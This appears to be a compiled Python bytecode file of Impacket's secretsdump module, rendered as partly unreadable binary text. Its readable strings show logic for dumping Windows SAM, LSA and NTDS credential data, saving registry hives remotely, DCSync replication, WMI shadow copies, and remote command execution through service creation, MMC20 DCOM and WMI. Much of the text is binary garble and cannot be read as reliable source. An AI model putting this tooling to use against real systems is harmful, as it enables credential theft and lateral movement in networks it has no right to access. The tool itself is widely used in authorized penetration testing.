o
    jۣ                    @   s   d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
Z
d dlZd dlZd dlmZmZ d dlmZ d dlmZmZmZ d dlmZmZ d dlmZmZ d d	lmZ d d
lmZ d dlmZmZ d dl m!Z!m"Z" d dl#m$Z$ d dl%m&Z& d dl'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z. d dl/m0Z0m1Z1 d dl2m3Z3m4Z4m5Z5 d dl6m7Z7 d dl8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z? d dl@mAZAmBZBmCZCmDZDmEZEmFZFmGZGmHZHmIZImJZJmKZKmLZL d dlMmNZNmOZO d dlPmQZQ d dlRmSZSmTZT d dlUmVZV d dlWmXZX d dlWmYZY d dlZm[Z[ d dl\m]Z] d dl^m_Z_ d dl`maZbmcZcmdZdmeZemfZfmgZgmhZhmiZimjZjmkZk d dllmmZmmnZnmoZompZpmqZq d d lrmsZsmtZtmuZu d d!lvmwZw d d"lxmyZymzZzmaZa zd d#l{m|Z|m}Z}m~Z~ d d$lmZmZmZ W n ey   ed% ed& Y nw zd dlZd d'lmZmZmZ d d(lmZmZ W n ey   ed) Y nw ze
 ZW n ey   e
ZY nw G d*d+ d+eXZG d,d- d-eXZG d.d/ d/eXZG d0d1 d1eXZG d2d3 d3eXZG d4d5 d5eXZG d6d7 d7eXZG d8d9 d9eXZG d:d; d;eXZG d<d= d=eXZG d>d? d?eXZG d@dA dAeXZG dBdC dCeXZG dDdE dEeXZG dFdG dGeXZG dHdI dIeXZdcdKdLZG dMdN dNZG dOdP dPZG dQdR dRZG dSdT dTZG dUdV dVeZG dWdX dXeZG dYdZ dZeZG d[d\ d\ZG d]d^ d^ZG d_d` d`Zdadb ZdS )d    )division)print_functionN)	unhexlifyhexlify)OrderedDict)datetime	timedeltatimezone)unpackpack)bPY2)LOG)system_errors)winregistryntlm)SimplePagedResultsControlLDAPSearchError)SearchResultEntry)LDAP_SID)	transportrrpscmrwkstsamrepmdrsuapi)NULLSID)RPC_C_AUTHN_LEVEL_PKT_PRIVACYDCERPCExceptionRPC_C_AUTHN_GSS_NEGOTIATE)wmi)IID_IDispatch	IDispatch
DISPPARAMSDISPATCH_PROPERTYGETVARIANTVARENUMDISPATCH_METHOD)DCOMConnectionOBJREFFLAGS_OBJREF_CUSTOMOBJREF_CUSTOMOBJREF_HANDLEROBJREF_EXTENDEDOBJREF_STANDARDFLAGS_OBJREF_HANDLERFLAGS_OBJREF_STANDARDFLAGS_OBJREF_EXTENDEDIRemUnknown2	INTERFACE)ESENT_DBgetUnixTime)DPAPI_SYSTEM)FILE_READ_DATAFILE_SHARE_READ)STATUS_MORE_ENTRIES)	Structure)hexdump)string_to_bin)transformKey)	constants)
TicketEncTicketPartAP_REQseq_setAuthenticatorTGS_REQseq_set_iterTGS_REPEncTGSRepPartKERB_KEY_LIST_REP)ProtocolVersionNumberTicketFlagsPrincipalNameTypeencodeFlagsEncryptionTypes)string_to_keyKey_enctype_table)sendReceive)KerberosTime	PrincipalrA   )DESARC4AES)HMACMD4MD5zDWarning: You don't have any crypto installed. You need pycryptodomexz+See https://pypi.org/project/pycryptodomex/)noValue
SequenceOfInteger)encoderdecoderz"This module needs pyasn1 installedc                   @      e Zd ZdZdS )SAM_KEY_DATA)Revision<L=0Lengthre   Salt16s=b""rQ   rj   )CheckSumrj   )Reserved<Q=0N__name__
__module____qualname__	structure rt   rt   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/secretsdump.pyrb   w       rb   c                   @   ra   )SAM_HASH)PekID<H=0rd   rz   )Hashrj   Nro   rt   rt   rt   ru   rw      rv   rw   c                   @   ra   )SAM_KEY_DATA_AES)rc   rf   )CheckSumLenre   )DataLenre   rh   Data:Nro   rt   rt   rt   ru   r}      rv   r}   c                   @   ra   )SAM_HASH_AES)rx   r{   )
DataOffsetre   rh   )r|   r   Nro   rt   rt   rt   ru   r      rv   r   c                   @   ra   )DOMAIN_ACCOUNT_F)rc   Unknownre   )CreationTimern   )DomainModifiedCountrn   )MaxPasswordAgern   )MinPasswordAgern   )ForceLogoffrn   )LockoutDurationz<q=0)LockoutObservationWindowrn   )ModifiedCountAtLastPromotionrn   )NextRidre   )PasswordPropertiesre   )MinPasswordLengthrz   )PasswordHistoryLengthrz   )LockoutThresholdrz   )Unknown2rz   )ServerStatere   )
ServerRolerz   )UasCompatibilityRequiredrz   )Unknown3rn   )Key0r   Nro   rt   rt   rt   ru   r      rv   r   c                   @   s    e Zd Zddddd fdfZdS )DOMAIN_ACCOUNT_V)Randomstuffforfunre   	SystemSidr   c                 C   s   | dd  S )Nirt   datart   rt   ru   <lambda>   s    zDOMAIN_ACCOUNT_V.<lambda>r   Nro   rt   rt   rt   ru   r      s
    r   c                   @   ra   )USER_ACCOUNT_C))GroupNumberre   )r   z436s=b"")GroupMembersr   Nro   rt   rt   rt   ru   r      rv   r   c                   @   ra   )USER_ACCOUNT_F))r   8s=b"")LastLogonTimestampr   )r   r   )PasswordLastSetTimeStampr   )AccountExpiresTimeStampr   )LastIncorrectPasswordTimestampr   )
UserNumberre   r   re   )GroupedDatazH=0)Unknown4rz   )CountryCoderz   )Unknown5rz   )InvalidPWDCountrz   )NumberOfLogonsrz   Unknown6re   )Unknown7r   Nro   rt   rt   rt   ru   r      rv   r   c                   @   ra   )USER_ACCOUNT_V))r   12s=b""
NameOffsetre   
NameLengthre   r   re   )FullNameOffsetre   )FullNameLengthre   r   CommentOffsetre   CommentLengthre   r   )UserCommentOffsetre   )UserCommentLengthre   r   re   )r   r   )HomeDirOffsetre   )HomeDirLengthre   r   )HomeDirConnectOffsetre   )HomeDirConnectLengthre   )r   re   )ScriptPathOffsetre   )ScriptPathLengthre   )Unknown8re   )ProfilePathOffsetre   )ProfilePathLengthre   )Unknown9re   )WorkstationsOffsetre   )WorkstationsLengthre   )	Unknown10re   )HoursAllowedOffsetre   )HoursAllowedLengthre   )	Unknown11re   )	Unknown12r   )LMHashOffsetre   )LMHashLengthre   )	Unknown13re   )NTHashOffsetre   )NTHashLengthre   )	Unknown14re   )	Unknown15z24s=b"")r   z:=b""Nro   rt   rt   rt   ru   r      rv   r   c                   @   ra   )BUILTIN_GROUP_C))Unknown1z<16s=b""r   r   r   r   r   r   )UsersOffsetre   r   )	UserCountre   r   Nro   rt   rt   rt   ru   r   	  rv   r   c                   @   ra   )	NL_RECORD))
UserLengthrz   )DomainNameLengthrz   )EffectiveNameLengthrz   )r   rz   )LogonScriptNamerz   )r   rz   )HomeDirectoryLengthrz   )HomeDirectoryDriveLengthrz   )UserIdre   )PrimaryGroupIdre   )
GroupCountre   )logonDomainNameLengthrz   )unk0rz   )	LastWritern   rc   )SidCountre   Flagsre   )unk1re   )LogonPackageLengthre   )DnsDomainNameLengthrz   )UPNrz   )IVrj   )CHrj   EncryptedDatar   Nro   rt   rt   rt   ru   r     rv   r   c                   @   ra   )!SAMR_RPC_SID_IDENTIFIER_AUTHORITY))Value6sNro   rt   rt   rt   ru   r   9  rv   r   c                   @   s(   e Zd ZddddefddfZdd Zd	S )
SAMR_RPC_SID)rd   <B)SubAuthorityCountr   IdentifierAuthorityr   )SubLenz_-SubAuthorityzself["SubAuthorityCount"]*4)SubAuthorityr   c              	   C   sh   d| d t | d d dd f }t| d D ]}|dtd	| d
 |d |d d  d  7 }q|S )NzS-%d-%drd   r   r         r   z-%d>Lr     r   )ordranger
   )selfansirt   rt   ru   formatCanonicalG  s   $0zSAMR_RPC_SID.formatCanonicalN)rp   rq   rr   r   rs   r  rt   rt   rt   ru   r   >  s    r   c                   @   ra   )LSA_SECRET_BLOB)rf   r   _Secretz_-Secretzself["Length"]Secretr   )	Remainingr   Nro   rt   rt   rt   ru   r  M  rv   r  c                   @   ra   )
LSA_SECRET)Versionre   )EncKeyIDrj   )EncAlgorithmre   r   r   Nro   rt   rt   rt   ru   r  V  rv   r  c                   @   ra   )LSA_SECRET_XP)rf   r  r  r  Nro   rt   rt   rt   ru   r  _  rv   r  w+c                 C   s"   |d ur	|| |S t j| |ddS )Nutf-8)encoding)codecsopen)fileNamemodeopenFileFuncrt   rt   ru   openFilei  s   
r!  c                   @   sD   e Zd Zdd Zdd Zdd Zdd Zd	d
 Zdd Zdd Z	dS )
RemoteFilec                 C   s*   || _ || _| j d| _d | _d| _d S )NADMIN$r   )_RemoteFile__smbConnection_RemoteFile__fileNameconnectTree_RemoteFile__tid_RemoteFile__fid_RemoteFile__currentOffset)r	  smbConnectionr  rt   rt   ru   __init__r  s
   
zRemoteFile.__init__c              
   C   s   d}	 z| j j| j| jttd| _W d S  ty@ } z!t|	ddkr4|dkr*|t
d |d7 }n|W Y d }~nd }~ww q)Nr   T)desiredAccess	shareModeSTATUS_SHARING_VIOLATION   r     )r$  r!  r'  r%  r9   r:   r(  	Exceptionstrfindtimesleep)r	  triesert   rt   ru   r  y  s&   

zRemoteFile.openc                 C   s   |dkr	|| _ d S d S Nr   r)  )r	  offsetwhencert   rt   ru   seek  s   
zRemoteFile.seekc                 C   s:   |dkr| j | j| j| j|}|  jt|7  _|S dS )Nr       )r$  readFiler'  r(  r)  len)r	  bytesToReadr   rt   rt   ru   read  s
   zRemoteFile.readc                 C   s:   | j d ur| j| j| j  | jd| j d | _ d S d S )Nr#  )r(  r$  	closeFiler'  
deleteFiler%  r	  rt   rt   ru   close  s
   

zRemoteFile.closec                 C      | j S Nr9  rD  rt   rt   ru   tell     zRemoteFile.tellc                 C   s   d| j  | jf S )Nz\\%s\ADMIN$\%s)r$  getRemoteHostr%  rD  rt   rt   ru   __str__  s   zRemoteFile.__str__N)
rp   rq   rr   r+  r  r<  rA  rE  rH  rK  rt   rt   rt   ru   r"  q  s    r"  c                   @   s  e Zd ZdaddZdd Zdd Zdd	 Zd
d Zdd Zdd Z	dd Z
dd ZejjejjdfddZdd Zdd Zdd ZdbddZd d! Zd"d# Zd$d% Zd&d' Zd(d) Zd*d+ Zd,d- Zd.d/ Zd0d1 Zd2d3 Zd4d5 Zd6d7 Z d8d9 Z!d:d; Z"d<d= Z#d>d? Z$d@dA Z%dBdC Z&dDdE Z'dFdG Z(dHdI Z)dJdK Z*dLdM Z+dNdO Z,dPdQ Z-dRdS Z.dTdU Z/dVdW Z0dXdY Z1dcdZd[Z2d\d] Z3ddd_d`Z4dS )eRemoteOperationsNc                 C   s   || _ | j d ur| j d || _d| _d| _d | _d | _d| _d | _d | _	d | _
d | _d | _d | _d | _d | _g | _|| _|| _d| _d| _d| _d| _d| _d | _d | _d| _d| _d	| _d
| _d| _d| _d S )Ni,  RemoteRegistryzncacn_np:445[\pipe\winreg]zncacn_np:445[\pipe\samr]r=  Fzncacn_np:445[\pipe\svcctl]z%TEMP%\execute.batz%COMSPEC% /Q /c z%SYSTEMROOT%\Temp\__outputsmbexec)  _RemoteOperations__smbConnection
setTimeout!_RemoteOperations__ldapConnection_RemoteOperations__serviceName&_RemoteOperations__stringBindingWinReg_RemoteOperations__rrp_RemoteOperations__regHandle$_RemoteOperations__stringBindingSamr_RemoteOperations__samr_RemoteOperations__domainHandle_RemoteOperations__domainName_RemoteOperations__domainSid_RemoteOperations__drsr_RemoteOperations__hDrs$_RemoteOperations__NtdsDsaObjectGuid"_RemoteOperations__ppartialAttrSet_RemoteOperations__prefixTable_RemoteOperations__doKerberos_RemoteOperations__kdcHost_RemoteOperations__bootKey_RemoteOperations__disabled_RemoteOperations__shouldStop_RemoteOperations__started&_RemoteOperations__stringBindingSvcCtl_RemoteOperations__scmr!_RemoteOperations__tmpServiceName!_RemoteOperations__serviceDeleted_RemoteOperations__batchFile_RemoteOperations__shell_RemoteOperations__output_RemoteOperations__answerTMP_RemoteOperations__execMethod)r	  r*  
doKerberoskdcHostldapConnectionrt   rt   ru   r+    sB   

zRemoteOperations.__init__c                 C   
   || _ d S rG  )rn  )r	  methodrt   rt   ru   setExecMethod     
zRemoteOperations.setExecMethodc                 C   >   t | j}|| j | | _| j  | jt	j
 d S rG  )r   DCERPCTransportFactoryrf  set_smb_connectionrO  get_dce_rpcrg  connectbindr   MSRPC_UUID_SCMRr	  rpcrt   rt   ru   __connectSvcCtl  
   

z RemoteOperations.__connectSvcCtlc                 C   rv  rG  )r   rw  rS  rx  rO  ry  rT  rz  r{  r   MSRPC_UUID_RRPr}  rt   rt   ru   __connectWinReg  r  z RemoteOperations.__connectWinRegc                 C   rF  rG  )rT  rD  rt   rt   ru   getRRP  rI  zRemoteOperations.getRRPc                 C   s   t | j}|| j | | _| j  | jt	j
 t	| j}|d }t	| j||}|d  | _t	j| j||d d}|d | _|| _d S )NServerHandleDomainId)serverHandledomainIdDomainHandle)r   rw  rV  rx  rO  ry  rW  rz  r{  r   MSRPC_UUID_SAMRhSamrConnecthSamrLookupDomainInSamServerr  rZ  hSamrOpenDomainrX  rY  )r	  domainr~  respr  rt   rt   ru   connectSamr  s   



zRemoteOperations.connectSamrc                 C   s  t j| j tjdd}t|}|| j  |	| j
  t|dr6|j| j   || j| j | | _| jt | jrJ| jt | j  | jtj | jd u rb| d | _t }tj|d< t }t||d< tjtj B tj!B tj"B tj#B |d< tj$|d< d	|d
< d	|d< d	|d< tj$|d< d|d< t||d d< t%|& |d d< | j'|}t(j)t*j+krt(,d |-  t }d.|d d dtt |d d    }|/| |d d	krt(j)t*j+krt(,d|d   |d |d< t||d d< t%|& |d d< | j'|}|d | _0t1| j| j0| jd}t(j)t*j+kr;t(,d |-  |d d d d	krU|d d d d	 d | _2d S t(3d| j  t4d) Nncacn_ip_tcp)protocolset_credentials   puuidClientDsacbdwFlagsSiteObjGuidr   PiddwReplEpoch
dwFlagsExtConfigObjGUIDl    	dwExtCaps
pextClientrgbzDRSBind() answerr=  ppextServer    zADC's dwReplEpoch != 0, setting it to %d and calling DRSBind againphDrsz DRSDomainControllerInfo() answerpmsgOutV2cItemsrItemsNtdsDsaObjectGuidz"Couldn't get DC info for domain %szFatal, aborting)5r   hept_maprO  rJ  r   MSRPC_UUID_DRSUAPIr   rw  setRemoteHostsetRemoteNamegetRemoteNamehasattrr  getCredentialsset_kerberosr`  ra  ry  r[  set_auth_levelr   set_auth_typer!   rz  r{  rY  get_credentialsDRSBindNTDSAPI_CLIENT_GUIDDRS_EXTENSIONS_INTr?  DRS_EXT_GETCHGREQ_V6DRS_EXT_GETCHGREPLY_V6DRS_EXT_GETCHGREQ_V8DRS_EXT_STRONG_ENCRYPTIONDRS_EXT_NONDOMAIN_NCSNULLGUIDlistgetDatarequestr   levelloggingDEBUGdebugdumpjoin
fromStringr\  hDRSDomainControllerInfor]  errorr1  )r	  stringBindingr~  r  drsr  drsExtensionsIntr  rt   rt   ru   __connectDrds  sz   











zRemoteOperations.__connectDrdsc                 C   rF  rG  )rW  rD  rt   rt   ru   getSamrB  rI  zRemoteOperations.getSamrc                 C   rF  rG  )r[  rD  rt   rt   ru   getDrsrE  rI  zRemoteOperations.getDrsr c                 C   s>   | j d u r	|   td|  t| j | jd|||f}|S )NzCalling DRSCrackNames for %s r   )r[  _RemoteOperations__connectDrdsr   r  r   hDRSCrackNamesr\  )r	  formatOfferedformatDesirednamer  rt   rt   ru   DRSCrackNamesH  s
   
zRemoteOperations.DRSCrackNamesc                 C   sX   t  }d|d< t|dd |d< d|d< d|d< d	|d
< t| |d< | ||S )Nr   SidLenr0  Guidr  SidNameLen 
StringName	structLen)r   DSNAMEr>   r?  r  _DRSGetNCChanges)r	  userGuiddsNamert   rt   ru   DRSGetNCChangesGuidR  s   z$RemoteOperations.DRSGetNCChangesGuidc                 C   s   t  }|| td|jd }|td|jd 7 }||jd jd 7 }||jd 7 }t }t||d< d|d	< ||d
< d|d< d|d< t| |d< | ||S )Nr   rd   r   r   r   r  r  r   r  r  r  r  r  r  )	r   fromCanonicalr   fieldsr   r  r?  r  r  )r	  userSidtsid	packetSidr  rt   rt   ru   DRSGetNCChangesSid^  s   
z#RemoteOperations.DRSGetNCChangesSidc                 C   s  | j d u r	|   td|  t }| j|d< d|d< d|d d< | j|d d d< | j|d d d	< ||d d d
< d|d d d d< d|d d d d< t|d d d< tj	tj
B |d d d< d|d d d< d|d d d< tj|d d d< | jd u rg | _t | _d| jd< ttj| jd< ttj D ]}| jd t| j| q| j|d d d< t| j|d d d d< | j|d d d d< t|d d d< | j |S )NzCalling DRSGetNCChanges for %s hDrs   dwInVersionpmsgIntagV8uuidDsaObjDestuuidInvocIdSrcpNCr   
usnvecFromusnHighObjUpdateusnHighPropUpdatepUpToDateVecDestulFlagsr0  cMaxObjects	cMaxBytesulExtendedOp	dwVersioncAttrsrgPartialAttrpPartialAttrSetPrefixTableDestPrefixCountpPrefixEntrypPartialAttrSetEx1)r[  r  r   r  r   DRSGetNCChangesr\  r]  r   DRS_INIT_SYNCDRS_WRIT_REPEXOP_REPL_OBJr^  r_  PARTIAL_ATTR_VECTOR_V1_EXTr?  
NTDSHashesATTRTYP_TO_ATTIDr  valuesappend	MakeAttidr  )r	  	userEntryr  r  attIdrt   rt   ru   r  r  s:   




z!RemoteOperations._DRSGetNCChangesr   c              
   C   s   | j d u r| |  d  ztj| j | jtjtjB tjB tj	B |d}W |S  t
yG } zt|ddk r8 | }W Y d }~|S d }~ww )Nr0  )userAccountControlenumerationContextr;   r   )rW  r  getMachineNameAndDomainr   hSamrEnumerateUsersInDomainrX  USER_NORMAL_ACCOUNTUSER_WORKSTATION_TRUST_ACCOUNTUSER_SERVER_TRUST_ACCOUNTUSER_INTERDOMAIN_TRUST_ACCOUNTr    r2  r3  
get_packet)r	  r  r  r7  rt   rt   ru   getDomainUsers  s*   

zRemoteOperations.getDomainUsersc              
   C   Z   zt | j| j}W |S  ty, } zt|ddk r | }W Y d }~|S d }~ww Nr;   r   )r   hSamrEnumerateGroupsInDomainrW  rX  r    r2  r3  r  r	  r  r7  rt   rt   ru   getGroupsInDomain     z"RemoteOperations.getGroupsInDomainc              
   C   r  r  )r   hSamrEnumerateAliasesInDomainrW  rX  r    r2  r3  r  r  rt   rt   ru   getAliasesInDomain  r  z#RemoteOperations.getAliasesInDomainc                 C   *   t j| j| j|d}t | j|d }|S )N)groupIdGroupHandle)r   hSamrOpenGrouprW  rX  hSamrGetMembersInGroupr	  ridr
  r  rt   rt   ru   getMembersInGroup     z"RemoteOperations.getMembersInGroupc                 C   r  )N)aliasIdAliasHandle)r   hSamrOpenAliasrW  rX  hSamrGetMembersInAliasr#  rt   rt   ru   getMembersInAlias  r&  z"RemoteOperations.getMembersInAliasc                 C   sX  g }| j d u rtd |S ztd|  tdd}| j j|ddgd|gd}W n ty1    w | j   |D ]p}t|t	rd	}d	}z2|d
 D ]+}t
|d dkr^|d d  d}t
|d dkrtt|d d  }	|	 }qIW n" ty }
 ztjddd tdt
|
  W Y d }
~
q9d }
~
ww td||f  |||g q9|S )Nz@Failed to establish LDAP connection, the user list will be emptyzSearch Filter=%sd   )sizezmsDS-PrincipalName	objectSidr   )searchFilter
attributes	sizeLimitsearchControlsr  r0  typevalsr  r1  Texc_infoz-Skipping item, cannot process due to error %sz"DA msDS-PrincipalName: %s, SID: %s)rQ  r   r  r  r   searchr   rE  
isinstancer   r2  asOctetsdecoder   r  r1  r  )r	  r/  domainUsersscr  itemmsDSPrincipalNamer  	attributer  r7  rt   rt   ru   getDomainUsersLDAP  sF   




z#RemoteOperations.getDomainUsersLDAPc                 C   s2   | j d ur| j S | jd u r| |  d  | j S )Nr0  )rZ  rW  r  r  rD  rt   rt   ru   getDomainSid  s
   

zRemoteOperations.getDomainSidc                 C   rF  rG  )rX  rD  rt   rt   ru   getDomainHandle  rI  z RemoteOperations.getDomainHandlec                 C   s   | j  dkr-|  \}}| j  }| |  dr+d|ddd }ndS | j  }| j  }t	
d| d|  d| d	| d	| d	f }|S )
zm
        Returns Kerberos salt for the current connection if
        we have the correct information
        r  .r0  Nr=  z,[Secretsdump][getMachineKerberosSalt] Host: z / Domain FQDN:    %shost%s.%sr  )rO  getServerNamer  r  lower
startswithr  splitgetServerDNSDomainNamer   r  upperencode)r	  host_
remoteNamer  saltrt   rt   ru   getMachineKerberosSalt  s   


,z'RemoteOperations.getMachineKerberosSaltc                 C   s   | j  dkrBtd}|| j  | }|  |tj	 t
|d}|  |d d d d d |d d d d d fS | j  | j  fS )	Nr  zncacn_np:445[\pipe\wkssvc]r,  	WkstaInfoWkstaInfo100wki100_computernamer  wki100_langroup)rO  rE  r   rw  rx  ry  rz  r{  r   MSRPC_UUID_WKSThNetrWkstaGetInfo
disconnectgetServerDomain)r	  r~  dcer  rt   rt   ru   r    s   
 z(RemoteOperations.getMachineNameAndDomainc                 C   s   | j  dkr	dS | j  S )Nr  r=  )rO  rI  rD  rt   rt   ru   getDNSDomain  s   
zRemoteOperations.getDNSDomainc                 C   s   zDt | j| jd}|d }t | j|d\}}|d d }t | j|d\}}|d d }t | j| t|dkrBd||f W S |W S    Y d S )Nz5SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon	phkResultDefaultUserNamer  DefaultDomainNamer   %s\%s)r   hBaseRegOpenKeyrT  rU  hBaseRegQueryValuehBaseRegCloseKeyr?  )r	  r
  	keyHandledataType	dataValueusernamer  rt   rt   ru   getDefaultLoginAccount$  s   z'RemoteOperations.getDefaultLoginAccountc              
   C   s   z3t | j| j|}|d }t | j|}|d d d d }t | j| |dr1|dd  }|W S  tyR } z|ddu rGt	
| W Y d }~d S d }~ww )	NlpServiceHandlelpServiceConfiglpServiceStartNamer  z.\r  _historyF)r   hROpenServiceWrg  "_RemoteOperations__scManagerHandlehRQueryServiceConfigWhRCloseServiceHandlerG  r1  endswithr   r  )r	  serviceNamer
  serviceHandler  accountr7  rt   rt   ru   getServiceAccount4  s   

z"RemoteOperations.getServiceAccountc                 C   s:  t | j}|d | _t | j| j| j}|d | _t | j| j}|d d t jkr:t	
d| j  d| _d| _n |d d t jkrRt	d| j  d| _d| _ntd	|d
  | jdu rt | j| j}|d d dkrt	
d| j  d| _t j| j| jdd t	
d| j  t | j| j td d S d S )N
lpScHandlerg  lpServiceStatusdwCurrentStatezService %s is in stopped stateTFzService %s is already runningz%Unknown service state 0x%x - AbortingCurrentStaterh  dwStartTyper  z#Service %s is disabled, enabling itr/  rx  zStarting service %sr0  )r   hROpenSCManagerWrg  rl  rk  rR   _RemoteOperations__serviceHandlehRQueryServiceStatusSERVICE_STOPPEDr   inford  re  SERVICE_RUNNINGr  r1  rm  rc  hRChangeServiceConfigWhRStartServiceWr4  r5  )r	  r
  rt   rt   ru   __checkServiceStatusE  s0   


z%RemoteOperations.__checkServiceStatusc                 C   s   |    |   |   d S rG  ) _RemoteOperations__connectSvcCtl%_RemoteOperations__checkServiceStatus _RemoteOperations__connectWinRegrD  rt   rt   ru   enableRegistryd  s   zRemoteOperations.enableRegistryc              
   C   s  | j du rtd| j  t| j| jtj | j	du r.td| j  tj
| j| jdd | jdu r| jd urzwtd| j  }t|drX|j| j   || j| j | | _| j  | jtj t| j}|d	 | _t| j| j| j}|d
 }t| j| t| j|tj t| j| t| j| j t| j| j |   W d S  t!y } zW Y d }~d S d }~ww d S d S )NTzStopping service %sz+Restoring the disabled state for service %sr  ry  Fzncacn_np:%s[\pipe\svcctl]r  rt  rg  )"rd  r   r~  rR  r   hRControlServicerg  r{  SERVICE_CONTROL_STOPrc  r  ri  rh  r   rw  rO  rJ  r  r  r  r  r`  ra  ry  rz  r{  r|  rz  rl  rk  hRDeleteServicern  rW  r1  )r	  r~  r
  r  servicer7  rt   rt   ru   	__restorei  s<   





zRemoteOperations.__restorec              
   C   s   |    | jd ur| j  | jd ur| j  | jd ur"| j  | jd urNz| j  W d S  tyM } zt|ddkrAn W Y d }~d S d }~ww d S )NSTATUS_INVALID_PARAMETERr   )	_RemoteOperations__restorerT  rW  r[  rW  rg  r1  r2  r3  r	  r7  rt   rt   ru   finish  s$   






zRemoteOperations.finishc                 C   s   d}t | j}|d | _dD ]2}td|  t | j| jd| }|d }t | j|}|t|d d d  }t 	| j| qg d	}t
|}tt|D ]}|  j||| || d
  7  _qPtdt| jd  | jS )Nr=  phKeyJDSkew1GBGr   Retrieving class info for %sz'SYSTEM\CurrentControlSet\Control\Lsa\%sr[  
lpClassOutr  r  r  r  r     	      r/  r   r  r0        
         r0  Target system bootKey: 0x%sr  )r   hOpenLocalMachinerT  rU  r   r  r_  hBaseRegQueryInfoKeyr   ra  r   r  r?  rb  r~  r   r:  )r	  bootKeyr
  keyrb  
transformsr  rt   rt   ru   
getBootKey  s    
$zRemoteOperations.getBootKeyc                 C   s   t d t| j}|d | _t| j| jd}|d }zt| j|d\}}W n   d}Y |dkr;t d d	S t d
 dS )NChecking NoLMHash Policyr  z$SYSTEM\CurrentControlSet\Control\Lsar[  NoLmHashr   r0  LMHashes are being storedFLMHashes are NOT being storedT)r   r  r   r  rT  rU  r_  r`  )r	  r
  rb  rc  noLMHashrt   rt   ru   checkNoLMHashPolicy  s   



z$RemoteOperations.checkNoLMHashPolicyc                 C   s   d dd tdD d }t| j}|d }z
t| j||}W n	   td| |d }t| j|d	|  t| j| t| j| t	| j
d
| }|S )Nr  c                 S      g | ]}t tjqS rt   randomchoicestringascii_letters.0rM  rt   rt   ru   
<listcomp>      z3RemoteOperations.__retrieveHive.<locals>.<listcomp>r  .tmpr  zCan't open %s hiver[  z..\Temp\zTemp\)r  r  r   r  rT  hBaseRegCreateKeyr1  hBaseRegSaveKeyra  r"  rO  )r	  hiveNametmpFileNamer
  	regHandlerb  remoteFileNamert   rt   ru   __retrieveHive  s   zRemoteOperations.__retrieveHivec                 C      t d | dS )NzSaving remote SAM databaseSAMr   r  _RemoteOperations__retrieveHiverD  rt   rt   ru   saveSAM     

zRemoteOperations.saveSAMc                 C   r  )NzSaving remote SECURITY databaseSECURITYr  rD  rt   rt   ru   saveSECURITY  r  zRemoteOperations.saveSECURITYc                 C   sl   d| _ tj| j| j| j| j|d}|d }z	t| j| W n   Y t| j| d| _ t| j| d S )NF)lpBinaryPathNamerg  T)	ri  r   hRCreateServiceWrg  rl  rh  r  r  rn  )r	  commandr  r  rt   rt   ru   	__smbExec  s   zRemoteOperations.__smbExecc              
   C   s   t d|d }d }|tkrtd|}n+|tkr#td|}n|tkr/td|}n|tkr;t	d|}nt
d|  tt| d | |d d |d d |d d | dS )Nr=  flagszUnknown OBJREF Type! 0x%xstdipidoxid)r  oidtarget)r+   r  r,   r-   r1   r.   r2   r0   r3   r/   r  r  r4   r5   get_cinstanceget_ipidRemUnknown
get_target)r	  	interfacer  
objRefTypeobjRefrt   rt   ru   __getInterface  s"   zRemoteOperations.__getInterfacec                 C   s  | dd}| j \}}}}}}}}t| j ||||||d| j| jd
}	|	tdt	}
t
|
}|d}td d}t|d< t|d< d	|d
< d	|d< ||d	 dt|d	g g }t
| ||d d d d }|d}||d	 dt|d	g g }t
| ||d d d d }|dd	 }|dd	 }td d}t|d< d|d
< d	|d< td d}d|d< tj|d< tj|d d< d|d d d< td d}d|d< tj|d< tj|d d< d|d d d< td d}d|d< tj|d< tj|d d< |tdd  |d d d< td d}d|d< tj|d< tj|d d< d|d d d< |d | |d | |d | |d | ||dt|d	g g  td d}t|d< t|d< d	|d
< d	|d< ||dt|d	g g  d S )N	%COMSPEC%zc:\windows\system32\cmd.exeFoxidResolverro  rp  z$49B2791A-B1AE-4C90-9B8E-E860BA07F889)DocumentrgvargrgdispidNamedArgsr   cArgs
cNamedArgsi	  
pVarResult	_varUnionpdispValabData)
ActiveView)ExecuteShellCommand)Quitr  r  clSizevtr  bstrValasDatazc:\7)replacerO  r  r*   rJ  r`  ra  CoCreateInstanceExr>   r#   r$   GetIDsOfNamesr%   r   Invoker&   _RemoteOperations__getInterfacer'   r(   VT_BSTRr?  r  r)   )r	  r  re  passwordr  lmhashnthashaesKeyrM  dcom
iInterfaceiMMCr  
dispParams	iDocumentiActiveViewpExecuteShellCommandpQuitarg0arg1arg2arg3rt   rt   ru   	__mmcExec  sn   


 
 









zRemoteOperations.__mmcExecc                 C   s   | dd}| j \}}}}}}}}t| j ||||||d| j| jd
}	|	tj	tj
}
t|
}|dtt}|  |d\}}||dd  |	  d S )Nr  zcmd.exeFr  //./root/cimv2Win32_Process\)r  rO  r  r*   rJ  r`  ra  r  r"   CLSID_WbemLevel1LoginIID_IWbemLevel1LoginIWbemLevel1Login	NTLMLoginr   
RemRelease	GetObjectCreaterW  )r	  r  re  r  r  r  r  r  rM  r  r  iWbemLevel1LoginiWbemServiceswin32Processrt   rt   ru   	__wmiExecI  s   

zRemoteOperations.__wmiExecc                 C   s   | j  \}}}}}}}}t| j  ||||||d| j| jd
}	|	tjtj	}
t
|
}|dtt}|  |d\}}td ||d}|j}td|  |	  |S )NFr  r  Win32_ShadowCopyz$Trying to create SS remotely via WMIClientAccessiblezGot ShadowID %s)rO  r  r*   rJ  r`  ra  r  r"   r  r  r  r	  r   r
  r  r   r  r  ShadowIDrW  )r	  volumere  r  r  r  r  r  rM  r  r  r  r  win32ShadowCopyresultshadowIdrt   rt   ru   __wmiCreateShadowY  s   


z"RemoteOperations.__wmiCreateShadowc                 C   s   | j  \}}}}}}}}t| j  ||||||d| j| jd
}	|	tjtj	}
t
|
}|dtt}|  d| }td || |	  d S )NFr  r  zWin32_ShadowCopy.ID="%s"zTrying to delete ShadowCopy)rO  r  r*   rJ  r`  ra  r  r"   r  r  r  r	  r   r
  r   r  DeleteInstancerW  )r	  ssIDre  r  r  r  r  r  rM  r  r  r  r  wmiPathrt   rt   ru   __wmiDeleteShadowm  s   



z"RemoteOperations.__wmiDeleteShadowc                 C   s   d dd tdD | _| jd | d | j d | j d | j | j }|d	| j 7 }td
